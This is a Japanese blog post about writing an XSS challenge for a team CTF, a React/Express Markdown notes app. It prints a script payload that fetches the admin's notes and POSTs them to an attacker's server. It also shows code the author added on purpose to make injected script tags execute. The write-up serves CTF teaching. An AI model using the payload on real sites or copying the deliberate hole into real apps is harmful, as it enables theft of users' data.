チーム内CTFで作問した話 - XSS編

チーム内CTFで作問した話 - XSS編:

この記事は m1z0r3 Advent Calendar 2018 の8日目です。

前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。


問題の概要

出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。

FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。



image.png


ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。


解答

普通にアプリケーション上のエディタで XSS を試しても <script> タグは使えません。

しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。

したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。

あとは以下のような内容を POST すれば FLAG にたどり着けます。

<script> 
  fetch('/api/notes', { credentials: 'include' }) 
    .then(r => r.text()) 
    .then(text => fetch('Your Server', { method: 'POST', body: text })) 
</script> 


ここから本題

ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。

しかし、作問が終わって試した際にあることに気付きました。

「あれ、XSS できない!?」

この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき( /notes/:uuid にアクセスしたとき)に以下の手順を踏みます。

  1. Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
  2. index.js が実行され、 React が DOM を生成
  3. ノートの内容を取得するために axios で /api/notes/:uuid を叩く(その間は Loading ... が表示される)
  4. API の結果を元に再度 React がノートを描画する
まず、基本的に React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した(Markdown を変換した) HTML を表示することができません。

そこで、React では dangerouslySetInnerHTML というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script> も実行されると思っていたのですが、 dangerouslySetInnerHTML で挿入した <script> は実行されません。1

どうやら MDN によると、 Element.innerHTML<script> を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'> などで XSS できる のですが(なので dangerouslySetInnerHTML を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。


XSS させるためにした工夫

さて、実際には onerror 等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script> を実行できるように頑張りました。

実は element.appendChild() を用いると <script> を実行することができます。

これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の <script> をすべて探し出し、 appendChild で最後にまとめて追加しました。

const fragment: DocumentFragment = document.createDocumentFragment() 
 
const mdBody = document.createElement('div') 
mdBody.className = 'markdown-body' 
mdBody.innerHTML = this.state.note!.body 
fragment.appendChild(mdBody) 
 
const scripts = mdBody.getElementsByTagName('script') 
for (const script of Array.from(scripts)) { 
  const element = document.createElement('script') 
  element.type = 'text/javascript' 
  element.async = true 
  if (script.src) element.src = script.src 
  element.innerHTML = script.innerHTML 
  fragment.appendChild(element) 
} 
 
this.state.instance.appendChild(fragment) 
これにより、無理やりですが、ノートに書かれた script を実行できるようになりました。

コメント

このブログの人気の投稿

投稿時間:2021-06-17 05:05:34 RSSフィード2021-06-17 05:00 分まとめ(1274件)

投稿時間:2021-06-20 02:06:12 RSSフィード2021-06-20 02:00 分まとめ(3871件)

投稿時間:2020-12-01 09:41:49 RSSフィード2020-12-01 09:00 分まとめ(69件)